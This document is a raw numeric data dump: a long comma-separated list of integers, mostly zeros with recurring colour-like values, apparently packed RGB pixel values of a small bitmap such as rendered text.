0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767888,3801088,0,0,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,16777215,16777215,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3816038,9493503,14389350,3815994,3815994,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3816080,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,14992,14417883,9452032,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993051,9452032,6731483,14408630,6721718,16767888,3801088,102,11993087,11964560,11983871,16777215,16767926,6684672,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,0,26294,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,0,102,11983871,16777215,16777215,14399078,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,0,102,11983871,16777215,16777215,14399078,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,0,3838171,16777215,16777215,14408630,6699520,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11983871,16777215,16777215,14399078,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,6731519,16758374,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,16767926,6699578,3816038,11983871,16758374,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14408592,3827382,16777179,11964518,9493503,16767888,3801088,102,11993087,16767926,6699578,3816038,11993087,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,0,0,26294,16777142,6684672,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,58,9493503,16767888,6699578,3827344,14417919,11953664,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,58,9493503,16767888,6699578,3827344,14417919,11953664,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,11953664,0,102,11993087,14389306,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767963,14417883,9452032,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,14389306,0,0,26294,16777142,6684672,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,26294,16767888,6721755,16758374,0,26294,16767888,3801088,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,3838171,16758374,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,3838171,16758374,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,11953722,3816038,9493503,16777142,6684672,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16758374,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,0,26294,16777142,6684672,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3815994,3815994,3815994,3815936,0,0,0,0,0,0,0,0,0,26294,16767888,6721755,16758374,0,26294,16767888,3801088,102,11993087,11953664,0,0,26294,16777142,6684672,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,58,9483995,16777215,14408667,14408703,16777179,9452032,0,102,11993087,16777215,16777215,16777215,11953664,0,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,58,9493503,14389306,0,0,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,0,6731519,16767888,3801088,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16767888,3827382,16777142,6699520,6721755,16767888,3801088,102,11993087,14389306,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,26294,16777142,6684672,0,102,11993051,9452032,0,102,11993087,11953664,0,6731519,16767888,3801088,0,14992,14417883,9452032,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,0,0,58,9493503,14389306,0,0,0,102,11993087,16758374,3815994,6721755,16777215,11953664,0,102,11993087,11953722,3815994,6731483,16777215,11953664,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417846,6684730,9493503,16777215,11974326,16767888,3801088,102,11993087,16767926,9452090,3816038,11993087,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,0,58,9493467,11964474,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,6731519,16777179,9463354,3815994,3815994,3801088,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,6731519,16777179,9463354,3815994,3815994,3801088,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,26294,16777142,6699520,58,6721718,14408667,9463296,0,102,11993087,11953664,0,14992,14417919,11953664,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,0,0,58,9493503,14389306,0,0,0,0,26294,14417919,16777215,14389392,11983871,16777215,11953664,102,11993087,16777215,16777215,16767926,9452032,0,0,0,58,6731483,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,102,11993087,11964518,11983871,16777215,16767926,6684672,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,0,6731483,16777215,16777215,16758416,3801088,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,0,102,11993087,14389350,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,58,6731483,16777215,16777215,16777215,11953664,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,58,6731483,16777215,16777215,16777215,11953664,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,102,11993087,11953664,0,0,6731519,16777142,6684672,0,58,6731483,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,14417919,16767926,11974326,11974246,3801088,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,6721718,11974326,11964474,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,11953722,0,0,0,14992,14417919,16777142,6684672,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,0,0,14992,14417883,14408667,9452032,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,14992,14417846,9474267,14389350,9493467,11974363,16767888,3801088,0,102,11983871,16777215,16777215,14399078,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,0,102,11983871,16777215,16777215,14399078,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,14992,14417846,6699664,14408667,14408592,6721755,16767888,3801088,58,9493503,16767888,6699578,3827344,14417919,11953664,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,58,9493503,16767888,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,14992,14417846,6684774,11993087,14389306,3838171,16767888,3801088,14992,14417883,9452032,0,0,3838171,16758374,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,3838171,16758374,0,58,9493503,16767888,6699578,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,